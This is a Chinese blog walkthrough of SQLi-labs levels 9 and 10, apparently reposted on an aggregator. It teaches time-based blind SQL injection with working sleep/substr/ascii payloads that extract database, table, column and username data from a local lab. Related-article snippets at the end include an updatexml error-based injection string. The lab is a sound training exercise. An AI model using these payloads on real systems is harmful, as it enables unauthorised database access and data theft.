SQLI-labs-第九关和第十关

2024-04-14 20:04
文章标签 labs sqli 第九 第十 关和

本文主要是介绍SQLI-labs-第九关和第十关,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

知识点:时间盲注

思路:

1、判断注入点

首先,我们先看一下注入点,输入?id=1

接着输入?id=1' #   结果还是没有变化

接着再输入 ?id=1" #  结果还是没变 

再输入?id=-1 结果还是一样

通过这几种测试方法,结果回显都是一样,既没有显示语句错误,也没有报错,我们可以猜测为时间盲注。但不知道是单引号、还是双引号,可以在下面证实。根据原理知道为单引号

2、时间盲注的函数

sleep() :时间函数,可以延时

if(条件表达式,True, Flase) : 如果条件表达式符合则会显示True的内容,反之则为Flase

length() :判断当前字符的长度

substr(str,pos,len) 

  • str为列名/字符串;
  • pos为起始位置;mysql中的起始位置pos是从1开始的;如果为正数,就表示从正数的位置往下截取字符串(起始坐标从1开始),反之如果起始位置pos为负数,那么 表示就从倒数第几个开始截取;
  • len为截取字符个数/长度

ascii(): ascii 转码

3、判断当前数据库的长度以及库名

http://127.0.0.1:3306/Less-9/?id=1'  and if(length(database())>3,sleep(5),1) --+

如果当前数据库的长度大于3的话,则延时5秒执行

注:注释符 get方式用 --+ post 方式用  #

通过这种方式可以推断出当前数据库的表的长度

http://127.0.0.1:3306/Less-9/?id=1'  and if(length(database())=8,sleep(5),1) --+

接下来就可以推断数据库的名字,可以a~z,A~Z进行推断

我们从a开始试,试出第一个字母为 ’s' 

http://127.0.0.1:3306/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+

依次类推,通过改变subst()函数的值和ASCII码值,我们可以推出数据库名为“security”

4、判断表名

我们还是使用ascii转码和substr()

http://127.0.0.1:3306/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(5),1) --+

第一张表的第一个字母为'e',依次类推,通过改变limit和subst()函数的值和ASCII码值可以推断出所有的表名

5、判断字段名

我们以users为例

http://127.0.0.1:3306/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=101,sleep(5),1) --+

通过这样的步骤,可以推断出users表的所有字段

6、爆值

爆用户名

http://127.0.0.1:3306/Less-9/?id=1' and if(ascii(substr((select username from security.users limit 0,1),1,1))=68,sleep(5),1) --+

通过这种方式可以得到所有的信息


第10关

第10关的思路跟第9关的思路是一样的,只不过注入点的类型不同

1、判断注入点

回显是一样的,所以可以判断为时间盲注

通过下面的回显,可以判断为双引号的时间盲注,接下来的判断就跟第9关的一样


这篇文章就写到这里,哪里表述不清楚的欢迎批评指正

这篇关于SQLI-labs-第九关和第十关的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/903883

相关文章

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

xss-labs-master通关教程

一.level1 先来进行一下代码审计 <?php ini_set("display_errors", 0);//关闭错误显示$str = $_GET["name"]; //接受URL来的get形式的name传参echo "<h2 align=center>欢迎用户".$str."</h2>";//在网页输出,并不是echo执行的,而是echo把HTML代码发送到浏览器,浏览器对发送的H

培训第九周(部署k8s基础环境)

一、前期系统环境准备 1、关闭防火墙与selinux  [root@k8s-master ~]# systemctl stop firewalld[root@k8s-master ~]# systemctl disable firewalldRemoved symlink /etc/systemd/system/multi-user.target.wants/firewalld.servi

安装 SideFX Labs

介绍 SideFX Labs 是一个完全免费开源的工具集。GIT地址:github.com/sideeffects/SideFXLabs 它是一个针对150多种工具的测试场,由于这些工具是在常规的 Houdini 开发周期之外开发的,因此可以更方便地进行测试和反馈。 其中的工具总结了常见的工作流程,并与常用软件建立了紧密的集成。目的是帮助用户更快地启动和执行“数字化内容创建”中常见的各种任

django学习入门系列之第十点《案例 用户管理》

文章目录 展示用户列表添加用户删除用户url中?的作用 往期回顾 展示用户列表 方向 展示用户列表 url函数 获取用户所有的信息基于HTML给他个渲染 views.py from django.shortcuts import render, HttpResponse, redirect# Create your views here.from app01.mod

django学习入门系列之第十点《django中数据库操作--操作表中的数据》

文章目录 操作表中的数据新建数据删除数据获取数据更新数据 往期回顾 操作表中的数据 新建数据 在表中添加数据 类名.objects.create(需要添加的数据) class text_into(models.Model):name = models.CharField(max_length=32)password = models.CharField(max_len

【靶场】upload-labs-master(前11关)

🏘️个人主页: 点燃银河尽头的篝火(●’◡’●) 如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦 【靶场】upload-labs-master(前11关) 第一关 Pass-01第二关 Pass-02第三关 Pass-03第四关 Pass-04第五关 Pass-05第六关 Pass-06第七关 Pass-07第八关 Pass-08第九关 Pass-09第十关 Pass-10第

sqli-lab靶场学习(一)——Less1

前言 最近一段时间想切入安全领域,因为本身有做数据库运维工作,就打算从sql注入方向切入。而sql注入除了学习日常书本上的概念外,需要有个实践的环境,刚好看到sqli-lab这个靶场,就打算先用这个来学习。 安装部署 网上很多关于安装部署的教程,很简单。本人是下载PHPStudy进行部署的。由于sqli-lab是用php5版本,现在很多一体化环境(我用wamp)的php都是7版本。我试过

第九题:回文数字

题目描述 给定一个整数 x ,编写一个函数来判断 x 是否为回文数。回文数是指正序(从左向右)和倒序(从右向左)读都是一样的数。例如,121 是回文,而 123 不是。 注意: 不能转换整数为字符串来处理。-2^31 <= x <= 2^31 - 1 实现思路 为了不将整数转换为字符串,可以考虑通过数学的方式来解决这个问题。一种方法是反转一半的数字,然后比较反转的部分是否与另一半相同。对

sqli-labs靶场通关攻略(61-65)

Less-61 步骤一:查看数据库 ?id=1')) and updatexml(1,concat(1,(select database())),1)--+ 步骤二:查看表名 ?id=1')) and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where ta